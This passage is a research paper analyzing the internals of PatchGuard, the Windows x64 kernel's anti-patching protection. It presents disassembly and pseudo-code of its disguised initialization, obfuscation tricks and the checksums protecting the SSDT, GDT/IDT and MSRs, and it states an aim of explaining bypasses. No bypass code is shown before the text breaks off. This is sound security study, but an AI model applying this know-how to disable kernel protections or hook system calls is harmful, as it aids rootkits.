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Chapter 1

Foreword

Abstract: The Windows kernel that runs on the x64 platform has introduced a
new feature, nicknamed PatchGuard, that is intended to prevent both malicious
software and third-party vendors from modifying certain critical operating sys-
tem structures. These structures include things like specific system images, the
SSDT, the IDT, the GDT, and certain critical processor MSRs. This feature is
intended to ensure kernel stability by preventing uncondoned behavior, such as
hooking. However, it also has the side effect of preventing legitimate products
from working properly. For that reason, this paper will serve as an in-depth
analysis of PatchGuard’s inner workings with an eye toward techniques that
can be used to bypass it. Possible solutions will also be proposed for the bypass
techniques that are suggested.

Thanks: The authors would like to thank westcose, bugcheck, uninformed, and
everyone who is motivated to learn by their own self interest.

Disclaimer: The subject matter discussed in this document is presented in
the interest of education. The authors cannot be held responsible for how the
information is used. While the authors have tried to be as thorough as possible
in their analysis, it is possible that they have made one or more mistakes. If a
mistake is observed, please contact one or both of the authors so that it can be
corrected.

2



Chapter 2

Introduction

In the caste system of operating systems, the kernel is king. And like most
kings, the kernel is capable of defending itself from the lesser citizens, such as
user-mode processes, through the castle walls of privilege separation. However,
unlike most kings, the kernel is typically unable to defend itself from the same
privilege level at which it operates. Without the kernel being able to protect its
vital organs at its own privilege level, the entire operating system is left open to
modification and subversion if any code is able to run with the same privileges
as the kernel itself.

As it stands today, most kernel implementations do not provide a mechanism
by which critical portions of the kernel can be validated to ensure that they
have not been tampered with. If existing kernels were to attempt to deploy
something like this in an after-the-fact manner, it should be expected that a
large number of problems would be encountered with regard to compatibility.
While most kernels intentionally do not document how internal aspects are
designed to function, like how system call dispatching works, it is likely that
at least one or more third-party vendor may depend on some of the explicit
behaviors of the undocumented implementations.

This has been exactly the case with Microsoft’s operating systems. Starting even
in the days of Windows 95, and perhaps even prior to that, Microsoft realized
that allowing third-party vendors to twiddle or otherwise play with various crit-
ical portions of the kernel lead to nothing but headaches and stability problems,
even though it provided the highest level of flexibility. While Microsoft took a
stronger stance with Windows NT, it has still become the case that third-party
vendors use areas of the kernel that are of particular interest to accomplishing
certain feats, even though the means used to accomplish them require the use
of undocumented structures and functions.

While it’s likely that Microsoft realized their fate long ago with regard to losing
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control over the scope and types of changes they could make to the kernel
internally without affecting third-party vendors, their ability to do anything
about it has been drastically limited. If Microsoft were to deploy code that
happened to prevent major third-party vendors from being able to accomplish
their goals without providing an adequate replacement, then Microsoft would
be in a world of hurt that would most likely rhyme with antitrust. Even though
things have appeared bleak, Microsoft got their chance to reclaim higher levels of
flexibility in the kernel with the introduction of the x64 architecture1. Since the
Windows kernel on the x64 architecture operates in 64-bit mode, it stands as a
requirement that all kernel-mode drivers also be compiled to run and operate in
native 64-bit mode. There are a number of reasons for this that are outside of the
scope of this document, but suffice it to say that attempting to design a thunking
layer for device drivers that are intended to have any real considerations for
performance should be enough to illustrate that doing so would be a horrible
idea.

By requiring that all device drivers be compiled natively as 64-bit binaries,
Microsoft effectively leveled the playing field on the new platform and brought
it back to a clean slate. This allowed them to not have to worry about potential
compatibility conflicts with existing products because of the simple fact that
none had been established. As third-party vendors ported their device drivers
to 64-bit mode, any unsupported or uncondoned behavior on the part of the
driver could be documented as being prohibited on the x64 architecture, thus
forcing the third-party to find an alternative approach if possible. This is the
dream of PatchGuard[3], Microsoft’s anti-patch protection system, and it seems
logical that such a goal is a reasonable one, but that’s not the point of this
document.

Instead, this document will focus on the changes to the x64 kernel that are de-
signed to protect critical portions of the Windows kernel from being modified.
This document will describe how the protection mechanisms are implemented
and what areas of the kernel are protected. From there, a couple of different
approaches that could be used to disable and bypass the protection mecha-
nisms will be explained in detail as well as potential solutions to the bypass
techniques. In conclusion, the reasons and motivations will be summarized and
other solutions to the more fundamental problem will be discussed.

The real purpose of this document, though, is to illustrate that it is impossible
to securely protect regions of code and data through the use of a system that
involves monitoring said regions at a privilege level that is equal to the level at
which third-party code is capable of running. This fact is something that is well-
known, both by Microsoft and by the security population at large, and it should
be understood without requiring an explanation. Going toward the future,
the operating system world will most likely begin to see a shift toward more

1While some places used x64 to mean both AMD64 and IA64, this document will generally
refer to x64 as an alias for AMD64 only, though many of the comments may also apply to
IA64
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granular, hardware-enforced privilege separation by implementing segregated
trusted code bases. The questions this will raise with respect to open-source
operating systems and DRM issues should slowly begin to increase. Only time
will tell.
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Chapter 3

Implementation

The anti-patching technology provided in the Windows x64 kernel, nicknamed
PatchGuard, is intended to protect critical kernel structures from being modified
outside of the context of approved modifications, such as through Microsoft-
controlled hot patching. At the time of this writing, PatchGuard is designed to
protect the following critical structures:

• SSDT (System Service Descriptor Table)

• GDT (Global Descriptor Table)

• IDT (Interrupt Descriptor Table)

• System images (ntoskrnl.exe, ndis.sys, hal.dll)

• Processor MSRs (syscall)

At a high-level, PatchGuard is implemented in the form of a set of routines
that cache known-good copies and/or checksums of structures which are then
validated at certain random time intervals (roughly every 5 - 10 minutes). The
reason PatchGuard is implemented in a polling fashion rather than in an event-
driven or hardware-backed fashion is because there is no native hardware level
support for the things that PatchGuard is attempting to accomplish. For that
reason, a number of the tricks that PatchGuard resorted to were done so out of
necessity.

The team that worked on PatchGuard was admittedly very clever. They realized
the limitations of implementing an anti-patching model in a fashion described
in the introduction and thus were forced to resort to other means by which
they might augment the protection mechanisms. In particular, PatchGuard
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makes extensive use of security through obscurity by using tactics like misdi-
rection, misnamed functions, and general code obfuscation. While many would
argue that security through obscurity adds nothing, the authors believe that it’s
merely a matter of raising the bar high enough so as to eliminate a significant
number of people from being able to completely understand something.

The code to initialize PatchGuard begins early on in the boot process as part of
nt!KeInitSystem. The diagram in figure 3.1 shows roughly where in the boot
process it’s initialized.

Figure 3.1: PatchGuard initialization vector

And that’s where the fun begins.

3.1 Initializing PatchGuard

The initialization of PatchGuard is multi-faceted, but it all has to start some-
where. In this case, the initialization of PatchGuard starts in a function with a
symbol name that has nothing to do with anti-patch protections at all. In fact,
it’s named KiDivide6432 and the only thing that it does is a division operation
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as shown in the code below:

ULONG KiDivide6432(
IN ULONG64 Dividend,
IN ULONG Divisor)

{
return Dividend / Divisor;

}

Though this function may look innocuous, it’s actually the first time Patch-
Guard attempts to use misdirection to hide its actual intentions. In this case, the
call to nt!KiDivide6432 is passed a dividend value from nt!KiTestDividend.
The divisor is hard-coded to be 0xcb5fa3. It appears that this function is in-
tended to masquerade as some type of division test that ensures that the under-
lying architecture supports division operations. If the call to the function does
not return the expected result of 0x5ee0b7e5, nt!KeInitSystem will bug check
the operating system with bug check code 0x5d which is UNSUPPORTED PROCESSOR
as shown below:

nt!KeInitSystem+0x158:
fffff800‘014212c2 488b0d1754d5ff mov rcx,[nt!KiTestDividend]
fffff800‘014212c9 baa35fcb00 mov edx,0xcb5fa3
fffff800‘014212ce e84d000000 call nt!KiDivide6432
fffff800‘014212d3 3de5b7e05e cmp eax,0x5ee0b7e5
fffff800‘014212d8 0f8519b60100 jne nt!KeInitSystem+0x170

...

nt!KeInitSystem+0x170:
fffff800‘0143c8f7 b95d000000 mov ecx,0x5d
fffff800‘0143c8fc e8bf4fc0ff call nt!KeBugCheck

When attaching with local kd, the value of nt!KiTestDividend is found to
be hardcoded to 0x014b5fa3a053724c such that doing the division operation,
0x014b5fa3a053724c divided by 0xcb5fa3, produces 0x1a11f49ae. That can’t
be right though, can it? Obviously, the code above indicates that any value other
than 0x5ee0b7e5 will lead to a bug check, but it’s also equally obvious that the
machine does not bug check on boot, so what’s going on here?

The answer involves a good old fashion case of ingenuity. The result of the
the division operation above is a value that is larger than 32 bits. The AMD64
instruction set reference manual indicates that the div instruction will produce a
divide error fault when an overflow of the quotient occurs[2]. This means that as
long as nt!KiTestDividend is set to the value described above, a divide error
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fault will be triggered causing a hardware exception that has to be handled
by the kernel. This divide error fault is what actually leads to the indirect
initialization of the PatchGuard subsystem. Before going down that route,
though, it’s important to understand one of the interesting aspects of the way
Microsoft did this.

One of the interesting things about nt!KiTestDividend is that it’s actually
unioned with an exported symbol that is used to indicate whether or not a
debugger is, well, present. This symbol is named nt!KdDebuggerNotPresent
and it overlaps with the high-order byte of nt!KiTestDividend as shown below:

lkd> dq nt!KiTestDividend L1
fffff800‘011766e0 014b5fa3‘a053724c
lkd> db nt!KdDebuggerNotPresent L1
fffff800‘011766e7 01

The nt!KdDebuggerNotPresent global variable will be set to zero if a debugger
is present. If a debugger is not present, the value will be one (default). If the
above described division operation is performed while a debugger is attached to
the system during boot, which would equate to dividing 0x004b5fa3a053724c
by 0xcb5fa3, the resultant quotient will be the expected value of 0x5ee0b7e5.
This means that if a debugger is attached to the system prior to the indirect
initialization of the PatchGuard protections, then the protections will not be
initialized because the divide error fault will not be triggered. This coincides
with the documented behavior and is intended to allow driver developers to
continue to be able to set breakpoints and perform other actions that may
indirectly modify monitored regions of the kernel in a debugging environment.
However, this only works if the debugger is attached to the system during boot.
If a developer subsequently attaches a debugger after PatchGuard has initialized,
then the act of setting breakpoints or performing other actions may lead to
a bluescreen as a result of PatchGuard detecting the alterations. Microsoft’s
choice to initialize PatchGuard in this manner allows it to transparently disable
protections when a debugger is attached and also acts as a means of hiding the
true initialization vector.

With the unioned aspect of nt!KiTestDividend understood, the next step is
to understand how the divide error fault actually leads to the initialization of
the PatchGuard subsystem. For this aspect it is necessary to start at the places
that all divide error faults go: nt!KiDivideErrorFault.

The indirect triggering of nt!KiDivideErrorFault leads to a series of function
calls that eventually result in nt!KiOp Div being called to handle the divide
error fault for the div instruction. The nt!KiOp Div routine appears to be
responsible for preprocessing the different kinds of divide errors, like divide by
zero. Although it may look normal at first glance, nt!KiOp Div also has a
darker side. The stack trace that leads to the calling of nt!KiOp Div is shown
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below1:

kd> k
Child-SP RetAddr Call Site
fffffadf‘e4a15f90 fffff800‘010144d4 nt!KiOp_Div+0x29
fffffadf‘e4a15fe0 fffff800‘01058d75 nt!KiPreprocessFault+0xc7
fffffadf‘e4a16080 fffff800‘0104172f nt!KiDispatchException+0x85
fffffadf‘e4a16680 fffff800‘0103f5b7 nt!KiExceptionExit
fffffadf‘e4a16800 fffff800‘0142132b nt!KiDivideErrorFault+0xb7
fffffadf‘e4a16998 fffff800‘014212d3 nt!KiDivide6432+0xb
fffffadf‘e4a169a0 fffff800‘0142a226 nt!KeInitSystem+0x169
fffffadf‘e4a16a50 fffff800‘01243e09 nt!Phase1InitializationDiscard+0x93e
fffffadf‘e4a16d40 fffff800‘012b226e nt!Phase1Initialization+0x9
fffffadf‘e4a16d70 fffff800‘01044416 nt!PspSystemThreadStartup+0x3e
fffffadf‘e4a16dd0 00000000‘00000000 nt!KxStartSystemThread+0x16

The first thing that nt!KiOp Div does prior to processing the actual divide
fault is to call a function named nt!KiFilterFiberContext. This function
seems oddly named not only in the general sense but also in the specific context
of a routine that is intended to be dealing with divide faults. By looking at the
body of nt!KiFilterFiberContext, its intentions quickly become clear:

nt!KiFilterFiberContext:
fffff800‘01003ac2 53 push rbx
fffff800‘01003ac3 4883ec20 sub rsp,0x20
fffff800‘01003ac7 488d0552d84100 lea rax,[nt!KiDivide6432]
fffff800‘01003ace 488bd9 mov rbx,rcx
fffff800‘01003ad1 4883c00b add rax,0xb
fffff800‘01003ad5 483981f8000000 cmp [rcx+0xf8],rax
fffff800‘01003adc 0f855d380c00 jne nt!KiFilterFiberContext+0x1d
fffff800‘01003ae2 e899fa4100 call nt!KiDivide6432+0x570

It appears that this chunk of code is designed to see if the address that the
fault error occurred at is equal to nt!KiDivide6432 + 0xb. If one adds 0xb to
nt!KiDivide6432 and disassembles the instruction at that address, the result
is:

nt!KiDivide6432+0xb:
fffff800‘0142132b 41f7f0 div r8d

1For those curious as to how the authors were able to debug the PatchGuard initialization
vector that is intended to be disabled when a debugger is attached, one method is to simply
break on the div instruction in nt!KiDivide6432 and change r8d to zero. This will generate
the divide error fault and lead to the calling of the PatchGuard initialization routines. In
order to allow the machine to boot normally, a breakpoint must be set on nt!KiDivide6432

after the fact to automatically restore r8d to 0xcb5fa3
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This coincides with what one would expect to occur when the quotient over-
flow condition occurs. According to the disassembly above, if the fault ad-
dress is equal to nt!KiDivide6432 + 0xb, then an unnamed symbol is called
at nt!KiDivide6432 + 0x570. This unnamed symbol will henceforth be re-
ferred to as nt!KiInitializePatchGuard, and it is what drives the set up of
the PatchGuard subsystem.

The nt!KiInitializePatchGuard routine itself is quite large. It handles the
initialization of the contexts that will monitor certain system images, the SSDT,
processor GDT/IDT, certain critical MSRs, and certain debugger-related rou-
tines. The very first thing that the initialization routine does is to check to see
if the machine is being booted in safe mode. If it is being booted in safe mode,
the PatchGuard subsystem will not be enabled as shown below:

nt!KiDivide6432+0x570:
fffff800‘01423580 4881ecd8020000 sub rsp,0x2d8
fffff800‘01423587 833d22dfd7ff00 cmp dword ptr [nt!InitSafeBootMode],0x0
fffff800‘0142358e 0f8504770000 jne nt!KiDivide6432+0x580

...

nt!KiDivide6432+0x580:
fffff800‘0142ac98 b001 mov al,0x1
fffff800‘0142ac9a 4881c4d8020000 add rsp,0x2d8
fffff800‘0142aca1 c3 ret

Once the safe mode check has passed, nt!KiInitializePatchGuard begins the
PatchGuard initialization by calculating the size of the INITKDBG section in
ntoskrnl.exe. It accomplishes this by passing the address of a symbol found
within that section, nt!FsRtlUninitializeSmallMcb, to nt!RtlPcToFileHeader.
This routine passes back the base address of nt in an output parameter that is
subsequently passed to nt!RtlImageNtHeader. This method returns a pointer
to the image’s IMAGE NT HEADERS structure. From there, the virtual address of
nt!FsRtlUninitializeSmallMcb is calculated by subtracting the base address
of nt from it. The calculated RVA is then passed to nt!RtlSectionTableFromVirtualAddress
which returns a pointer to the image section that nt!FsRtlUninitializeSmallMcb
resides in. The debugger output below shows what rax points to after obtaining
the image section structure:

kd> ? rax
Evaluate expression: -8796076244456 = fffff800‘01000218
kd> dt nt!_IMAGE_SECTION_HEADER fffff800‘01000218
+0x000 Name : [8] "INITKDBG"
+0x008 Misc : <unnamed-tag>
+0x00c VirtualAddress : 0x165000
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+0x010 SizeOfRawData : 0x2600
+0x014 PointerToRawData : 0x163a00
+0x018 PointerToRelocations : 0
+0x01c PointerToLinenumbers : 0
+0x020 NumberOfRelocations : 0
+0x022 NumberOfLinenumbers : 0
+0x024 Characteristics : 0x68000020

The whole reason behind this initial image section lookup has to do with one of
the ways in which PatchGuard obfuscates and hides the code that it executes.
In this case, code within the INITKDBG section will eventually be copied into an
allocated protection context that will be used during the validation phase. The
reason that this is necessary will be discussed in more detail later.

After collecting information about the INITKDBG image section, the PatchGuard
initialization routine performs the first of many pseudo-random number gener-
ations. This code can be seen throughout the PatchGuard functions and has a
form that is similar to the code shown below:

fffff800‘0142362d 0f31 rdtsc
fffff800‘0142362f 488bac24d8020000 mov rbp,[rsp+0x2d8]
fffff800‘01423637 48c1e220 shl rdx,0x20
fffff800‘0142363b 49bf0120000480001070 mov r15,0x7010008004002001
fffff800‘01423645 480bc2 or rax,rdx
fffff800‘01423648 488bcd mov rcx,rbp
fffff800‘0142364b 4833c8 xor rcx,rax
fffff800‘0142364e 488d442478 lea rax,[rsp+0x78]
fffff800‘01423653 4833c8 xor rcx,rax
fffff800‘01423656 488bc1 mov rax,rcx
fffff800‘01423659 48c1c803 ror rax,0x3
fffff800‘0142365d 4833c8 xor rcx,rax
fffff800‘01423660 498bc7 mov rax,r15
fffff800‘01423663 48f7e1 mul rcx
fffff800‘01423666 4889442478 mov [rsp+0x78],rax
fffff800‘0142366b 488bca mov rcx,rdx
fffff800‘0142366e 4889942488000000 mov [rsp+0x88],rdx
fffff800‘01423676 4833c8 xor rcx,rax
fffff800‘01423679 48b88fe3388ee3388ee3 mov rax,0xe38e38e38e38e38f
fffff800‘01423683 48f7e1 mul rcx
fffff800‘01423686 48c1ea03 shr rdx,0x3
fffff800‘0142368a 488d04d2 lea rax,[rdx+rdx*8]
fffff800‘0142368e 482bc8 sub rcx,rax
fffff800‘01423691 8bc1 mov eax,ecx

This pseudo-random number generator uses the rdtsc instruction as a seed and
then proceeds to perform various bitwise and multiplication operations until the
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end result is produced in eax. The result of this first random number generator
is used to index an array of pool tags that are used for PatchGuard memory
allocations. This is an example of one of the many ways in which PatchGuard
attempts to make it harder to find its own internal data structures in memory.
In this case, it adopts a random legitimate pool tag in an effort to blend in with
other memory allocations. The code block below shows how the pool tag array
is indexed and where it can be found in memory:

fffff800‘01423693 488d0d66c9bdff lea rcx,[nt]
fffff800‘0142369a 448b848100044300 mov r8d,[rcx+rax*4+0x430400]

In this case, the random number is stored in the rax register which is used to
index the array of pool tags found at nt+0x430400. The fact that the array is
referenced indirectly might be seen as another attempt at obfuscation in a bid
to make what is occurring less obvious at a glance. If the pool tag array address
is dumped in the debugger, all of the pool tags that could possibly be used by
PatchGuard can be seen:

lkd> db nt+0x430400
41 63 70 53 46 69 6c 65-49 70 46 49 49 72 70 20 AcpSFileIpFIIrp
4d 75 74 61 4e 74 46 73-4e 74 72 66 53 65 6d 61 MutaNtFsNtrfSema
54 43 50 63 00 00 00 00-10 3b 03 01 00 f8 ff ff TCPc.....;......

After the fake pool tag has been selected from the array at random, the Patch-
Guard initialization routine proceeds by allocating a random amount of storage
that is bounded at a minimum by the virtual size of the INITKDBG section plus
0x1b8 and at a maximum by the minimum plus 0x7ff. The magic value 0x1b8
that is expressed in the minimum size is actually the size of the data structure
that is used by PatchGuard to store context-specific protection information, as
will be shown later. The fake pool tag and the random size are then used to
allocate storage from the NonPagedPool as shown in the pseudo-code below:

Context = ExAllocatePoolWithTag(
NonPagedPool,
(InitKdbgSection->VirtualSize + 0x1b8) + (RandSize & 0x7ff),
PoolTagArray[RandomPoolTagIndex]);

If the allocation of the context succeeds, the initialization routine zeroes its
contents and then starts initializing some of the structure’s attributes. The
context returned by the allocation will henceforth be referred to as a struc-
ture of type PATCHGUARD CONTEXT. The first 0x48 bytes of the structure are
actually composed of code that is copied from the misleading symbol named
nt!CmpAppendDllSection. This function is actually used to decrypt the struc-
ture at runtime, as will be seen later. After nt!CmpAppendDllSection is copied
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to the first 0x48 bytes of the data structure, the initialization routine sets up a
number of function pointers that are stored within the structure. The routines
that it stores the addresses of and the offsets within the PatchGuard context
data structure are shown in figure 3.2.

Offset Symbol
0x48 nt!ExAcquireResourceSharedLite
0x50 nt!ExAllocatePoolWithTag
0x58 nt!ExFreePool
0x60 nt!ExMapHandleToPointer
0x68 nt!ExQueueWorkItem
0x70 nt!ExReleaseResourceLite
0x78 nt!ExUnlockHandleTableEntry
0x80 nt!ExAcquireGuardedMutex
0x88 nt!ObDereferenceObjectEx
0x90 nt!KeBugCheckEx
0x98 nt!KeInitializeDpc
0xa0 nt!KeLeaveCriticalRegion
0xa8 nt!KeReleaseGuardedMutex
0xb0 nt!ObDereferenceObjectEx2
0xb8 nt!KeSetAffinityThread
0xc0 nt!KeSetTimer
0xc8 nt!RtlImageDirectoryEntryToData
0xd0 nt!RtlImageNtHeaders
0xd8 nt!RtlLookupFunctionEntry
0xe0 nt!RtlSectionTableFromVirtualAddress
0xe8 nt!KiOpPrefetchPatchCount
0xf0 nt!KiProcessListHead
0xf8 nt!KiProcessListLock
0x100 nt!PsActiveProcessHead
0x108 nt!PsLoadedModuleList
0x110 nt!PsLoadedModuleResource
0x118 nt!PspActiveProcessMutex
0x120 nt!PspCidTable

Figure 3.2: PATCHGUARD CONTEXT function pointers

The reason that PatchGuard uses function pointers instead of calling the sym-
bols directly is most likely due to the relative addressing mode used in x64.
Since the PatchGuard code runs dynamically from unpredictable addresses, it
would be impossible to use the relative addressing mode without having to fix
up instructions – a task that would no doubt be painful and not really worth
the trouble. The authors do not see any particular advantage gained in terms
of obfuscation by the use of function pointers stored in the PatchGuard context
structure.
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After all of the function pointers have been set up, the initialization routine pro-
ceeds by picking another random pool tag that is used for subsequent allocations
and stores it at offset 0x188 within the PatchGuard context structure. After
that, two more random numbers are generated, both of which are used later on
during the encryption phase of the structure. One is used as a random number
of rotate bits, the other is used as an XOR seed. The XOR seed is stored at
offset 0x190 and the random rotate bits value is stored at offset 0x18c.

The next step taken by the initialization routine is to acquire the number of bits
that can be used to represent the virtual address space by querying the processor
via through the cpuid ExtendedAddressSize (0x80000008) extended function.
The result is stored at offset 0x1b4 within the PatchGuard context structure.

Finally, the last major step before initializing the individual protection sub-
contexts is the copying of the contents of the INITKDBG section to the allocated
PatchGuard context structure. The copy operation looks something like the
pseudo code below:

memmove(
(PCHAR)PatchGuardContext + sizeof(PATCHGUARD_CONTEXT),
NtImageBase + InitKdbgSection->VirtualAddress,
InitKdbgSection->VirtualSize);

With the primary portions of the PatchGuard context structure initialized, the
next logical step is to initialize the sub-contexts that are specific to the things
that are actually being protected.

3.2 Protected Structure Initialization

The structures that PatchGuard protects are represented by individual sub-
context structures. These structures are composed at the beginning by the
contents of the parent PatchGuard structure (PATCHGUARD CONTEXT). This in-
cludes the function pointers and other values assigned to the parent. The sub-
contexts are identified by general types that provide the validation routine with
something to key off of.

This section will explain how each of the individual structures have their pro-
tection sub-contexts initialized. At the time of this writing, the structures have
their protection sub-contexts initialized in the order described below:

1. System images

2. SSDT

3. GDT/IDT/MSRs
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4. Debug routines

After all the sub-contexts have been initialized, the parent protection context
is XOR’d and a timer is initialized and set. The purpose of this timer, as will
be shown, is to run the validation half of the PatchGuard subsystem on the
data that is collected. Aside from the specific protection sub-contexts listed in
the following subsections, it was observed by the authors that the routine that
initializes the PatchGuard subsystem also allocated sub-context structures of
types that could not be immediately discerned. In particular, these types had
the sub-context identifiers of 0x4 and 0x5.

3.2.1 System Images

The protection of certain key kernel images is one of the more critical aspects of
PatchGuard’s protection schemes. If a driver were still able to hook functions
in nt, ndis, or any other key kernel components, then PatchGuard would be
mostly irrelevant. In order to address this concern, PatchGuard performs a
set of operations that are intended to ensure that system images cannot be
tampered with. The table in figure 3.3 shows which kernel images are currently
protected by this scheme.

Image Name
ntoskrnl.exe
hal.dll
ndis.sys

Figure 3.3: Protected kernel images

The approach taken to protect each of these images is the same. To kick things
off, the address of a symbol that resides within the image is passed to a Patch-
Guard sub-routine that will be referred to as nt!PgCreateImageSubContext.
This routine is prototyped as shown below:

NTSTATUS PgCreateImageSubContext(
IN PPATCHGUARD_CONTEXT ParentContext,
IN LPVOID SymbolAddress);

For ntoskrnl.exe, the address of nt!KiFilterFiberContext is passed in as
the symbol address. For hal.dll, the address of HalInitializeProcessor is
passed. Finally, the address passed for ndis.sys is its entry point address which
is obtained through a call to nt!GetModuleEntryPoint.

Inside nt!PgCreateImageSubContext, the basic approach taken to protect the
images is through the generation of a few distinct PatchGuard sub-contexts.
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The first sub-context is designed to hold the checksum of an individual image’s
sections, with a few exceptions. The second and third sub-contexts hold the
checksum of an image’s Import Address Table (IAT) and Import Directory,
respectively. These routines all make use of a shared routine that is responsible
for generating a protection sub-context that holds the checksum for a block of
memory using the random XOR key and random rotate bits stored in the parent
PatchGuard context structure. The prototype for this routine is shown below:

typedef struct BLOCK_CHECKSUM_STATE
{

ULONG Unknown;
ULONG64 BaseAddress;
ULONG BlockSize;
ULONG Checksum;

} BLOCK_CHECKSUM_STATE, *PBLOCK_CHECKSUM_STATE;

PPATCHGUARD_SUB_CONTEXT PgCreateBlockChecksumSubContext(
IN PPATCHGUARD_CONTEXT Context,
IN ULONG Unknown,
IN PVOID BlockAddress,
IN ULONG BlockSize,
IN ULONG SubContextSize,
OUT PBLOCK_CHECKSUM_STATE ChecksumState OPTIONAL);

The block checksum sub-context stores the checksum state at the end of the
PATCHGUARD CONTEXT. The checksum state is stored in a BLOCK CHECKSUM STATE
structure. The Unknown attribute of the structure is initialized to the Unknown
parameter from nt!PgCreateBlockChecksumSubContext. The purpose of this
field was not deduced, but the value was set to zero during debugging.

The checksum algorithm used by the routine is fairly simple. The pseudo-code
below shows how it works conceptually:

ULONG64 Checksum = Context->RandomHashXorSeed;
ULONG Checksum32;

// Checksum 64-bit blocks
while (BlockSize >= sizeof(ULONG64))
{

Checksum ^= *(PULONG64)BaseAddress;
Checksum = RotateLeft(Checksum, Context->RandomHashRotateBits);
BlockSize -= sizeof(ULONG64);
BaseAddress += sizeof(ULONG64);

}
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// Checksum aligned blocks
while (BlockSize-- > 0)
{

Checksum ^= *(PUCHAR)BaseAddress;
Checksum = RotateLeft(Checksum, Context->RandomHashRotateBits);
BaseAddress++;

}

Checksum32 = (ULONG)Checksum;

Checksum >>= 31;

do
{

Checksum32 ^= (ULONG)Checksum;
Checksum >>= 31;

} while (Checksum);

The end result is that Checksum32 holds the checksum of the block which is
subsequently stored in the Checksum attribute of the checksum state structure
along with the original block size and block base address that were passed to
the function.

For the purpose of initializing the checksum of image sections, nt!PgCreateImageSubContext
calls into nt!PgCreateImageSectionSubContext which is prototyped as:

PPATCHGUARD_SUB_CONTEXT PgCreateImageSectionSubContext(
IN PPATCHGUARD_CONTEXT ParentContext,
IN PVOID SymbolAddress,
IN ULONG SubContextSize,
IN PVOID ImageBase);

This routine first checks to see if nt!KiOpPrefetchPatchCount is zero. If it is
not, a block checksum context is created that does not cover all of the sections in
the image2. Otherwise, the function appears to enumerate the various sections
included in the supplied image, calculating the checksum across each. It appears
to exclude checksums of sections named INIT, PAGEVRFY, PAGESPEC, and PAGEKD.

To account for an image’s Import Address Table and Import Directory,
nt!PgCreateImageSubContext calls nt!PgCreateBlockChecksumSubContext on
the directory entries for both, but only if the directory entries exist and are valid
for the supplied image.

2This could presumably be related to detecting whether or not hot patches have been
applied, but this has not been confirmed
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3.2.2 GDT/IDT

The protection of the Global Descriptor Table (GDT) and the Interrupt
Descriptor Table (IDT) is another important feature of PatchGuard. The
GDT is used to describe memory segments that are used by the kernel. It is
especially lucrative to malicious applications due to the fact that modifying
certain key GDT entries could lead to non-privileged, user-mode applications
being able to modify kernel memory. The IDT is also useful, both in a malicious
context and in a legitimate context. In some cases, third parties may wish to
intercept certain hardware or software interrupts before passing it off to the
kernel. Unless done right, hooking IDT entries can be very dangerous due to
the considerations that have to be made when running in the context of an
interrupt request handler.

The actual implementation of GDT/IDT protection is accomplished through the
use of the nt!PgCreateBlockChecksumSubContext function which is passed the
contents of both descriptor tables. Since the registers that hold the GDT and
IDT are relative to a given processor, PatchGuard creates a separate context for
each table on each individual processor. To obtain the address of the GDT and
the IDT for a given processor, PatchGuard first uses nt!KeSetAffinityThread
to ensure that it’s running on a specific processor. After that, it makes a call to
nt!KiGetGdtIdt which stores the GDT and the IDT base addresses as output
parameters as shown in the prototype below:

VOID KiGetGdtIdt(
OUT PVOID *Gdt,
OUT PVOID *Idt);

The actual protection of the GDT and the IDT is done in the context of
two separate functions that have been labeled nt!PgCreateGdtSubContext and
PgCreateIdtSubContext. These routines are prototyped as shown below:

PPATCHGUARD_SUB_CONTEXT PgCreateGdtSubContext(
IN PPATCHGUARD_CONTEXT ParentContext,
IN UCHAR ProcessorNumber);

PPATCHGUARD_SUB_CONTEXT PgCreateIdtSubContext(
IN PPATCHGUARD_CONTEXT ParentContext,
IN UCHAR ProcessorNumber);

Both routines are called in the context of a loop that iterates across all of the
processors on the machine with respect to nt!KeNumberProcessors.
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3.2.3 SSDT

One of the areas most notorious for being hooked by third-party drivers is the
System Service Descriptor Table, also known as the SSDT. This table con-
tains information about the service tables that are used by the operating for dis-
patching system calls. On Windows x64 kernels, nt!KeServiceDescriptorTable
conveys the address of the actual dispatch table and the number of entries in
the dispatch table for the native system call interface. In this case, the actual
dispatch table is stored as an array of relative offsets in nt!KiServiceTable.
The offsets are relative to the array itself using relative addressing. To obtain
the absolute address of system service routines, the following approach can be
used:

lkd> u dwo(nt!KiServiceTable)+nt!KiServiceTable L1
nt!NtMapUserPhysicalPagesScatter:
fffff800‘013728b0 488bc4 mov rax,rsp
lkd> u dwo(nt!KiServiceTable+4)+nt!KiServiceTable L1
nt!NtWaitForSingleObject:
fffff800‘012b83a0 4c89442418 mov [rsp+0x18],r8

The fact that the dispatch table now contains an array of relative addresses is
one hurdle that driver developers who intend to port system call hooking code
from 32-bit platforms to the x64 kernel will have to overcome. One solution to
the relative address problem is fairly simple. There are plenty of places within
the 2 GB of relative addressable memory that a trampoline could be placed for a
hook routine. For instance, there is often alignment padding between symbols.
This approach is rather hackish and it depends on the fact that PatchGuard
is forcibly disabled. However, there are also other, more elegant approaches to
accomplishing this that require neither.

As far as protecting the system service table is concerned, PatchGuard protects
both the native system service dispatch table stored in nt!KiServiceTable as
well as the nt!KeServiceDescriptorTable structure itself. This is done by
making use of the nt!PgCreateBlockChecksumSubContext routine that was
mentioned in the section on system images (3.2.1). The following code shows
how the block checksum routine is called for both items:

PgCreateBlockChecksumSubContext(
ParentContext,
0,
KeServiceDescriptorTable->DispatchTable, // KiServiceTable
KiServiceLimit * sizeof(ULONG),
0,
NULL);
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PgCreateBlockChecksumSubContext(
ParentContext,
0,
&KeServiceDescriptorTable,
0x20,
0,
NULL);

The reason the nt!KeServiceDescriptorTable structure is also protected is
to prevent the modification of the attribute that points to the actual dispatch
table.

3.2.4 Processor MSRs

The latest and greatest processors have greatly improved the methods through
which user-mode to kernel-mode transitions are accomplished. Prior to these
enhancements, most operating systems, including Windows, were forced to ded-
icate a soft-interrupt for exclusive use as a system call vector. Newer proces-
sors have a dedicated instruction set for dispatching system calls, such as the
syscall and sysenter instructions. Part of the way in which these instruc-
tions work is by taking advantage of a processor-defined model-specific regis-
ter (MSR) that contains the address of the routine that is intended to gain
control in kernel-mode when a system call is received. On the x64 architec-
ture, the MSR that controls this value is named LSTAR which is short for Long
System Target-Address Register. The code associated with this MSR is
0xc0000082[1]. During boot, the x64 kernel initializes this MSR to nt!KiSystemCall64.

In order for Microsoft to prevent third parties from hooking system calls by
changing the value of the LSTAR MSR, PatchGuard creates a protection sub-
context of type 7 in order to cache the value of the MSR. The routine that
is responsible for accomplishing this has been labeled PgCreateMsrSubContext
and its prototype is shown below:

PPATCHGUARD_SUB_CONTEXT PgCreateMsrSubContext(
